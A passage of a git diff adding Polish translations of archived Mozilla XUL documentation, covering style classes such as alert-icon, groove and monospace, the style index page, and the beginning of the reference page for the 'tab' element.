href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<p>TBD
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/styl/alert-icon/index.html b/files/pl/mozilla/tech/xul/styl/alert-icon/index.html
new file mode 100644
index 0000000000..02476b5948
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/styl/alert-icon/index.html
@@ -0,0 +1,15 @@
+---
+title: alert-icon
+slug: Mozilla/Tech/XUL/Styl/alert-icon
+tags:
+ - Klasy_stylów_XUL
+translation_of: Archive/Mozilla/XUL/Style/alert-icon
+---
+<div class="noinclude">
+ <a href="/pl/docs/Dokumentacja_XUL" title="« Dokumentacja XUL">« Dokumentacja XUL</a></div>
+<dl>
+ <dt>
+ <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/alert-icon">alert-icon</a></code></dt>
+ <dd>
+ Klasa, która dodaje ikonę ostrzeżenia. Zazwyczaj wygląda jak znak wykrzyknika. Ta i inne klasy ikon może być zastosowana dla elementów <code><a href="/pl/docs/Mozilla/Tech/XUL/image" title="image">image</a></code> lub innych mogących zawierać obrazek.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/styl/error-icon/index.html b/files/pl/mozilla/tech/xul/styl/error-icon/index.html
new file mode 100644
index 0000000000..d5c9e19ad2
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/styl/error-icon/index.html
@@ -0,0 +1,15 @@
+---
+title: error-icon
+slug: Mozilla/Tech/XUL/Styl/error-icon
+tags:
+ - Klasy_stylów_XUL
+translation_of: Archive/Mozilla/XUL/Style/error-icon
+---
+<div class="noinclude">
+ <a href="/pl/docs/Dokumentacja_XUL" title="« Dokumentacja XUL">« Dokumentacja XUL</a></div>
+<dl>
+ <dt>
+ <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/error-icon">error-icon</a></code></dt>
+ <dd>
+ Klasa, która dodaje ikonę błedu. Zazwyczaj będzie to czerwona ikona z "X".</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/styl/groove-thin/index.html b/files/pl/mozilla/tech/xul/styl/groove-thin/index.html
new file mode 100644
index 0000000000..90d84475a6
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/styl/groove-thin/index.html
@@ -0,0 +1,15 @@
+---
+title: groove-thin
+slug: Mozilla/Tech/XUL/Styl/groove-thin
+tags:
+ - Klasy_stylów_XUL
+translation_of: Archive/Mozilla/XUL/Style/groove-thin
+---
+<div class="noinclude">
+ <a href="/pl/docs/Dokumentacja_XUL" title="« Dokumentacja XUL">« Dokumentacja XUL</a></div>
+<dl>
+ <dt>
+ <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/groove-thin">groove-thin</a></code></dt>
+ <dd>
+ Cienki separator <b>grooved</b>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/styl/groove/index.html b/files/pl/mozilla/tech/xul/styl/groove/index.html
new file mode 100644
index 0000000000..4cef11eb98
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/styl/groove/index.html
@@ -0,0 +1,15 @@
+---
+title: groove
+slug: Mozilla/Tech/XUL/Styl/groove
+tags:
+ - Klasy_stylów_XUL
+translation_of: Archive/Mozilla/XUL/Style/groove
+---
+<div class="noinclude"><a href="/pl/docs/Dokumentacja_XUL" title="« Dokumentacja XUL">« Dokumentacja XUL</a></div>
+<dl><dt> <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/groove">groove</a></code>
+</dt><dd> Separator <b>grooved</b>.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/styl/header/index.html b/files/pl/mozilla/tech/xul/styl/header/index.html
new file mode 100644
index 0000000000..acbb35084d
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/styl/header/index.html
@@ -0,0 +1,15 @@
+---
+title: header
+slug: Mozilla/Tech/XUL/Styl/header
+tags:
+ - Klasy_stylów_XUL
+translation_of: Archive/Mozilla/XUL/Style/header
+---
+<div class="noinclude">
+ <a href="/pl/docs/Dokumentacja_XUL" title="« Dokumentacja XUL">« Dokumentacja XUL</a></div>
+<dl>
+ <dt>
+ <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/header">header</a></code></dt>
+ <dd>
+ Klasę stosujemy do nagłówków. Zazwyczaj będzie powodować, że tekst ukaże się pogrubiony.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/styl/indent/index.html b/files/pl/mozilla/tech/xul/styl/indent/index.html
new file mode 100644
index 0000000000..f0569b6395
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/styl/indent/index.html
@@ -0,0 +1,15 @@
+---
+title: indent
+slug: Mozilla/Tech/XUL/Styl/indent
+tags:
+ - Klasy_stylów_XUL
+translation_of: Archive/Mozilla/XUL/Style/indent
+---
+<div class="noinclude">
+ <a href="/pl/docs/Dokumentacja_XUL" title="« Dokumentacja XUL">« Dokumentacja XUL</a></div>
+<dl>
+ <dt>
+ <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/indent">indent</a></code></dt>
+ <dd>
+ Klasa ta powoduje wcięcie z lewej strony tekstu.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/styl/index.html b/files/pl/mozilla/tech/xul/styl/index.html
new file mode 100644
index 0000000000..f30d4d661a
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/styl/index.html
@@ -0,0 +1,32 @@
+---
+title: Klasy stylów
+slug: Mozilla/Tech/XUL/Styl
+tags:
+ - Klasy_stylów_XUL
+translation_of: Archive/Mozilla/XUL/Style
+---
+<p><a href="/pl/docs/Dokumentacja_XUL" title="« Dokumentacja XUL">« Dokumentacja XUL</a> </p>
+<ul><li> <a href="pl/XUL/Styl/alert-icon">alert-icon</a>
+</li><li> <a href="pl/XUL/Styl/error-icon">error-icon</a>
+</li><li> <a href="pl/XUL/Styl/groove">groove</a>
+</li><li> <a href="pl/XUL/Styl/groove-thin">groove-thin</a>
+</li><li> <a href="pl/XUL/Styl/header">header</a>
+</li><li> <a href="pl/XUL/Styl/indent">indent</a>
+</li><li> <a href="pl/XUL/Styl/listcell-iconic">listcell-iconic</a>
+</li><li> <a href="pl/XUL/Styl/listitem-iconic">listitem-iconic</a>
+</li><li> <a href="pl/XUL/Styl/menuitem-iconic">menuitem-iconic</a>
+</li><li> <a href="pl/XUL/Styl/menuitem-non-iconic">menuitem-non-iconic</a>
+</li><li> <a href="pl/XUL/Styl/message-icon">message-icon</a>
+</li><li> <a href="pl/XUL/Styl/monospace">monospace</a>
+</li><li> <a href="pl/XUL/Styl/plain">plain</a>
+</li><li> <a href="pl/XUL/Styl/question-icon">question-icon</a>
+</li><li> <a href="pl/XUL/Styl/small-margin">small-margin</a>
+</li><li> <a href="pl/XUL/Styl/statusbarpanel-iconic">statusbarpanel-iconic</a>
+</li><li> <a href="pl/XUL/Styl/statusbarpanel-menu-iconic">statusbarpanel-menu-iconic</a>
+</li><li> <a href="pl/XUL/Styl/text-link">text-link</a>
+</li><li> <a href="pl/XUL/Styl/thin">thin</a>
+</li><li> <a href="pl/XUL/Styl/tree-splitter">tree-splitter</a>
+</li><li> <a href="pl/XUL/Styl/treecol-image">treecol-image</a>
+</li></ul>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/styl/listcell-iconic/index.html b/files/pl/mozilla/tech/xul/styl/listcell-iconic/index.html
new file mode 100644
index 0000000000..c8224ddba3
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/styl/listcell-iconic/index.html
@@ -0,0 +1,15 @@
+---
+title: listcell-iconic
+slug: Mozilla/Tech/XUL/Styl/listcell-iconic
+tags:
+ - Klasy_stylów_XUL
+translation_of: Archive/Mozilla/XUL/Style/listcell-iconic
+---
+<div class="noinclude">
+ <a href="/pl/docs/Dokumentacja_XUL" title="« Dokumentacja XUL">« Dokumentacja XUL</a></div>
+<dl>
+ <dt>
+ <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/listcell-iconic">listcell-iconic</a></code></dt>
+ <dd>
+ Klasa ta pozwala na wyświetlenie obrazka w komórce listy. Obrazek należy określić przy pomocy atrybutu <code id="a-image"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/image">image</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/styl/listitem-iconic/index.html b/files/pl/mozilla/tech/xul/styl/listitem-iconic/index.html
new file mode 100644
index 0000000000..2ccc5087e1
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/styl/listitem-iconic/index.html
@@ -0,0 +1,15 @@
+---
+title: listitem-iconic
+slug: Mozilla/Tech/XUL/Styl/listitem-iconic
+tags:
+ - Klasy_stylów_XUL
+translation_of: Archive/Mozilla/XUL/Style/listitem-iconic
+---
+<div class="noinclude">
+ <a href="/pl/docs/Dokumentacja_XUL" title="« Dokumentacja XUL">« Dokumentacja XUL</a></div>
+<dl>
+ <dt>
+ <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/listitem-iconic">listitem-iconic</a></code></dt>
+ <dd>
+ Zastosuj tą klasę, aby mieć wyświetlony obrazek na <code><a href="/pl/docs/Mozilla/Tech/XUL/listitem" title="listitem">listitem</a></code>. Określa obrazek za pomocą arybutu <code id="a-image"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/image">image</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/styl/menuitem-iconic/index.html b/files/pl/mozilla/tech/xul/styl/menuitem-iconic/index.html
new file mode 100644
index 0000000000..dae1cc537c
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/styl/menuitem-iconic/index.html
@@ -0,0 +1,15 @@
+---
+title: menuitem-iconic
+slug: Mozilla/Tech/XUL/Styl/menuitem-iconic
+tags:
+ - Klasy_stylów_XUL
+translation_of: Archive/Mozilla/XUL/Style/menuitem-iconic
+---
+<div class="noinclude">
+ <a href="/pl/docs/Dokumentacja_XUL" title="« Dokumentacja XUL">« Dokumentacja XUL</a></div>
+<dl>
+ <dt>
+ <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/menuitem-iconic">menuitem-iconic</a></code></dt>
+ <dd>
+ Zastosuj tą klasę, aby mieć wyświetlony obrazek na <code><a href="/pl/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code>. Określa obrazek za pomocą arybutu <code id="a-image"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/image">image</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/styl/menuitem-non-iconic/index.html b/files/pl/mozilla/tech/xul/styl/menuitem-non-iconic/index.html
new file mode 100644
index 0000000000..eee15855ea
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/styl/menuitem-non-iconic/index.html
@@ -0,0 +1,15 @@
+---
+title: menuitem-non-iconic
+slug: Mozilla/Tech/XUL/Styl/menuitem-non-iconic
+tags:
+ - Klasy_stylów_XUL
+translation_of: Archive/Mozilla/XUL/Style/menuitem-non-iconic
+---
+<div class="noinclude">
+ <a href="/pl/docs/Dokumentacja_XUL" title="« Dokumentacja XUL">« Dokumentacja XUL</a></div>
+<dl>
+ <dt>
+ <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/menuitem-non-iconic">menuitem-non-iconic</a></code></dt>
+ <dd>
+ Normalnie, <code><a href="/pl/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code> posiada margines z lewej strony na obrazek lub znak zaznaczenia. Ta klasa może zostać użyta do usunięcia tego marginesu, więc ta pozycja menu pojawi się z lewej strony brzegu menupopup.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/styl/message-icon/index.html b/files/pl/mozilla/tech/xul/styl/message-icon/index.html
new file mode 100644
index 0000000000..8bb6ed554b
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/styl/message-icon/index.html
@@ -0,0 +1,15 @@
+---
+title: message-icon
+slug: Mozilla/Tech/XUL/Styl/message-icon
+tags:
+ - Klasy_stylów_XUL
+translation_of: Archive/Mozilla/XUL/Style/message-icon
+---
+<div class="noinclude">
+ <a href="/pl/docs/Dokumentacja_XUL" title="« Dokumentacja XUL">« Dokumentacja XUL</a></div>
+<dl>
+ <dt>
+ <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/message-icon">message-icon</a></code></dt>
+ <dd>
+ Klasa, która dodaje ikonę pudełka wiadomości.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/styl/monospace/index.html b/files/pl/mozilla/tech/xul/styl/monospace/index.html
new file mode 100644
index 0000000000..82bd0839fd
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/styl/monospace/index.html
@@ -0,0 +1,15 @@
+---
+title: monospace
+slug: Mozilla/Tech/XUL/Styl/monospace
+tags:
+ - Klasy_stylów_XUL
+translation_of: Archive/Mozilla/XUL/Style/monospace
+---
+<div class="noinclude">
+ <a href="/pl/docs/Dokumentacja_XUL" title="« Dokumentacja XUL">« Dokumentacja XUL</a></div>
+<dl>
+ <dt>
+ <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/monospace">monospace</a></code></dt>
+ <dd>
+ Klasa powoduje, że tekst będzie wyświetlany w czcionce o stałej szerokości znaków.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/styl/plain/index.html b/files/pl/mozilla/tech/xul/styl/plain/index.html
new file mode 100644
index 0000000000..e13aa66aa7
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/styl/plain/index.html
@@ -0,0 +1,15 @@
+---
+title: plain
+slug: Mozilla/Tech/XUL/Styl/plain
+tags:
+ - Klasy_stylów_XUL
+translation_of: Archive/Mozilla/XUL/Style/plain
+---
+<div class="noinclude">
+ <a href="/pl/docs/Dokumentacja_XUL" title="« Dokumentacja XUL">« Dokumentacja XUL</a></div>
+<dl>
+ <dt>
+ <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/plain">plain</a></code></dt>
+ <dd>
+ Ta klasa sprawia, że element będzie wyświetlony bez obramowania lub marginesu.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/styl/question-icon/index.html b/files/pl/mozilla/tech/xul/styl/question-icon/index.html
new file mode 100644
index 0000000000..1b172d877a
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/styl/question-icon/index.html
@@ -0,0 +1,15 @@
+---
+title: question-icon
+slug: Mozilla/Tech/XUL/Styl/question-icon
+tags:
+ - Klasy_stylów_XUL
+translation_of: Archive/Mozilla/XUL/Style/question-icon
+---
+<div class="noinclude">
+ <a href="/pl/docs/Dokumentacja_XUL" title="« Dokumentacja XUL">« Dokumentacja XUL</a></div>
+<dl>
+ <dt>
+ <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/question-icon">question-icon</a></code></dt>
+ <dd>
+ Klasa dodaje ikonę pytania, która zazwyczaj wygląda jak znak zapytania.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/styl/small-margin/index.html b/files/pl/mozilla/tech/xul/styl/small-margin/index.html
new file mode 100644
index 0000000000..66f1063714
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/styl/small-margin/index.html
@@ -0,0 +1,15 @@
+---
+title: small-margin
+slug: Mozilla/Tech/XUL/Styl/small-margin
+tags:
+ - Klasy_stylów_XUL
+translation_of: Archive/Mozilla/XUL/Style/small-margin
+---
+<div class="noinclude"><a href="/pl/docs/Dokumentacja_XUL" title="« Dokumentacja XUL">« Dokumentacja XUL</a></div>
+<dl><dt> <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/small-margin">small-margin</a></code>
+</dt><dd> Ta klasa powoduje wyświetlenie tekstu z małym marginesem.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/styl/statusbarpanel-iconic/index.html b/files/pl/mozilla/tech/xul/styl/statusbarpanel-iconic/index.html
new file mode 100644
index 0000000000..77590994c8
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/styl/statusbarpanel-iconic/index.html
@@ -0,0 +1,15 @@
+---
+title: statusbarpanel-iconic
+slug: Mozilla/Tech/XUL/Styl/statusbarpanel-iconic
+tags:
+ - Klasy_stylów_XUL
+translation_of: Archive/Mozilla/XUL/Style/statusbarpanel-iconic
+---
+<div class="noinclude"><a href="/pl/docs/Dokumentacja_XUL" title="« Dokumentacja XUL">« Dokumentacja XUL</a></div>
+<dl><dt> <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/statusbarpanel-iconic">statusbarpanel-iconic</a></code>
+</dt><dd> Zastosuj ta klasę do pojawienia się obrazka na elemencie <code><a href="/pl/docs/Mozilla/Tech/XUL/statusbarpanel" title="statusbarpanel">statusbarpanel</a></code>. Obrazek określ stosując atrybut <code id="a-src"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/src">src</a></code>. Obrazek pojawi się zamiast etykiety.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/styl/statusbarpanel-menu-iconic/index.html b/files/pl/mozilla/tech/xul/styl/statusbarpanel-menu-iconic/index.html
new file mode 100644
index 0000000000..562011bddf
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/styl/statusbarpanel-menu-iconic/index.html
@@ -0,0 +1,15 @@
+---
+title: statusbarpanel-menu-iconic
+slug: Mozilla/Tech/XUL/Styl/statusbarpanel-menu-iconic
+tags:
+ - Klasy_stylów_XUL
+translation_of: Archive/Mozilla/XUL/Style/statusbarpanel-menu-iconic
+---
+<div class="noinclude">
+ <a href="/pl/docs/Dokumentacja_XUL" title="« Dokumentacja XUL">« Dokumentacja XUL</a></div>
+<dl>
+ <dt>
+ <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/statusbarpanel-menu-iconic">statusbarpanel-menu-iconic</a></code></dt>
+ <dd>
+ Zastosuj tą klasę do pojawienia się obrazka na elemencie <code><a href="/pl/docs/Mozilla/Tech/XUL/statusbarpanel" title="statusbarpanel">statusbarpanel</a></code> i także pozwól na menu wyskakujące. Określ obrazek stosując atrybut <code id="a-src"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/src">src</a></code> i umieść element <code><a href="/pl/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code> wewnątrz <code><a href="/pl/docs/Mozilla/Tech/XUL/statusbarpanel" title="statusbarpanel">statusbarpanel</a></code>. Obrazek pojawi się zamiast etykiety.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/styl/text-link/index.html b/files/pl/mozilla/tech/xul/styl/text-link/index.html
new file mode 100644
index 0000000000..cee23e92ca
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/styl/text-link/index.html
@@ -0,0 +1,15 @@
+---
+title: text-link
+slug: Mozilla/Tech/XUL/Styl/text-link
+tags:
+ - Klasy_stylów_XUL
+translation_of: Archive/Mozilla/XUL/Style/text-link
+---
+<div class="noinclude"><a href="/pl/docs/Dokumentacja_XUL" title="« Dokumentacja XUL">« Dokumentacja XUL</a></div>
+<dl><dt> <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/text-link">text-link</a></code>
+</dt><dd> Etykiety o tej klasie mogą być aktywne (focus), a funkcja obsługi zdarzenia kliknięcia zostanie wywołana zarówno dla kliknięcia myszą, jak i wciśnięcia klawisza Enter.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/styl/thin/index.html b/files/pl/mozilla/tech/xul/styl/thin/index.html
new file mode 100644
index 0000000000..5bfc80c94d
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/styl/thin/index.html
@@ -0,0 +1,11 @@
+---
+title: thin
+slug: Mozilla/Tech/XUL/Styl/thin
+tags:
+ - Klasy_stylów_XUL
+translation_of: Archive/Mozilla/XUL/Style/thin
+---
+<div class="noinclude"><a href="/pl/docs/Dokumentacja_XUL" title="« Dokumentacja XUL">« Dokumentacja XUL</a></div>
+<dl><dt> <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/thin">thin</a></code>
+</dt><dd> Najcieńszy separator, który zazwyczaj ma 0.5 em.
+</dd></dl>
diff --git a/files/pl/mozilla/tech/xul/styl/tree-splitter/index.html b/files/pl/mozilla/tech/xul/styl/tree-splitter/index.html
new file mode 100644
index 0000000000..ce9e148ff5
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/styl/tree-splitter/index.html
@@ -0,0 +1,15 @@
+---
+title: tree-splitter
+slug: Mozilla/Tech/XUL/Styl/tree-splitter
+tags:
+ - Klasy_stylów_XUL
+translation_of: Archive/Mozilla/XUL/Style/tree-splitter
+---
+<div class="noinclude">
+ <a href="/pl/docs/Dokumentacja_XUL" title="« Dokumentacja XUL">« Dokumentacja XUL</a></div>
+<dl>
+ <dt>
+ <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/tree-splitter">tree-splitter</a></code></dt>
+ <dd>
+ Zastosowanie tego rozdzielacza jest zamierzone w kolumnach drzewa (pomiędzy elementami <code><a href="/pl/docs/Mozilla/Tech/XUL/treecol" title="treecol">treecol</a></code>). Rozdzielacz rysowany będzie bez szerokości, więc nie będzie on widoczny, jednakże, kolumny mogą wciąż zmieniać swoją szerokość.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/styl/treecol-image/index.html b/files/pl/mozilla/tech/xul/styl/treecol-image/index.html
new file mode 100644
index 0000000000..0c24259641
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/styl/treecol-image/index.html
@@ -0,0 +1,16 @@
+---
+title: treecol-image
+slug: Mozilla/Tech/XUL/Styl/treecol-image
+tags:
+ - Klasy_stylów_XUL
+translation_of: Archive/Mozilla/XUL/Style/treecol-image
+---
+<div class="noinclude"><a href="/pl/docs/Dokumentacja_XUL" title="« Dokumentacja XUL">« Dokumentacja XUL</a></div>
+<dl><dt> <code><a href="https://developer.mozilla.org/pl/docs/XUL/Styl/treecol-image">treecol-image</a></code>
+</dt><dd> Zastosuj tą klasę do posiadania obrazka, który pojawi się w nagłówku <a href="pl/XUL/treecol">kolumny drzewa</a>. Określ obrazek stosując atrybut <code><code id="a-src"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/src">src</a></code></code>.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/tab/index.html b/files/pl/mozilla/tech/xul/tab/index.html
new file mode 100644
index 0000000000..44ac9b5b4c
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/tab/index.html
@@ -0,0 +1,247 @@
+---
+title: tab
+slug: Mozilla/Tech/XUL/tab
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/tab
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Pojedyncza karta, która jest umieszczona wewnątrz elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/tabs" title="tabs">tabs</a></code>. Użytkownik powinien kliknąć w kartę, którą chce przenieść na sam wierzch okna (<code><a href="/pl/docs/Mozilla/Tech/XUL/tabbox" title="tabbox">tabbox</a></code>).
+</p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Pude%c5%82ko_kart">kursie XUL</a>.
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-accesskey">accesskey</a>, <a href="#a-afterselected">afterselected</a>, <a href="#a-beforeselected">beforeselected</a>, <a href="#a-crop">crop</a>, <a href="#a-disabled">disabled</a>, <a href="#a-image">image</a>, <a href="#a-label">label</a>, <a href="#a-linkedpanel">linkedpanel</a>, <a href="#a-oncommand">oncommand</a>, <a href="#a-tab.selected">tab</a>, <a href="#a-validate">validate</a>
+</dd></dl>
+<dl><dt> Własności
+</dt><dd> <a href="#p-accessible">accessible</a>, <a href="#p-label">label</a>, <a href="#p-linkedPanel">linkedPanel</a>, <a href="#p-selected">selected</a>, <a href="#p-tabs">tabs</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>(potrzebne przykłady)
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p>
+</p><div id="a-accesskey">
+
+<dl><dt> <code id="a-accesskey"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/accesskey">accesskey</a></code></dt>
+<dd> Typ: <i>znak</i>
+</dd><dd> Powinien być ustawiony na literę, która zostanie zastosowana jako klawisz dostępu. Litera ta powinna być jedną z liter, które są wyświetlane w etykiecie tekstowej (<code><code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code></code>) dla elementu. </dd></dl>
+<p><br>
+</p>
+<h4 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h4>
+<div class="float-right"><img alt="grafika:XUL_ref_accesskey_attr.png"></div>
+<pre>&lt;vbox&gt;
+ &lt;label value="Enter Name" accesskey="e" control="myName"/&gt;
+ &lt;textbox id="myName"/&gt;
+ &lt;button label="Cancel" accesskey="n"/&gt;
+ &lt;button label="Ok" accesskey="O"/&gt;
+&lt;/vbox&gt;
+</pre>
+<h4 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h4>
+<p>Atrybut <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>, atrybut <code id="a-acceltext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/acceltext">acceltext</a></code>
+</p> <p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-afterselected">
+
+<dl><dt> <code id="a-afterselected"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/afterselected">afterselected</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jest ustawiony na <code>true</code>, jeśli karta tuż po aktualnie zaznaczonej karcie. Ustawienie to jest automatycznie ustawiane i nie powinno się go ustawiać ręcznie. Początkowo znalazło swoją użyteczność w zastosowaniu motywów, tak, że możemy ręcznie dostosować ustawienia zaznaczonej karty.
+</dd></dl>
+
+
+</div>
+<div id="a-beforeselected">
+
+<dl><dt> <code id="a-beforeselected"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/beforeselected">beforeselected</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jest ustawiony na <code>true</code>, jeśli karta tuż przed aktualnie zaznaczoną kartą. Ustawienie to jest automatycznie ustawiane i nie powinno się go ustawiać ręcznie. Początkowo znalazło swoją użyteczność w zastosowaniu motywów, tak, że możemy ręcznie dostosować ustawienia zaznaczonej karty.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-crop">
+
+<dl><dt> <code id="a-crop"><a href="http://api/pl/docs/Mozilla/Tech/XUL/Atrybut/crop">crop</a></code>
+</dt><dd> Typ: <i>jedna z poniższych wartości</i>
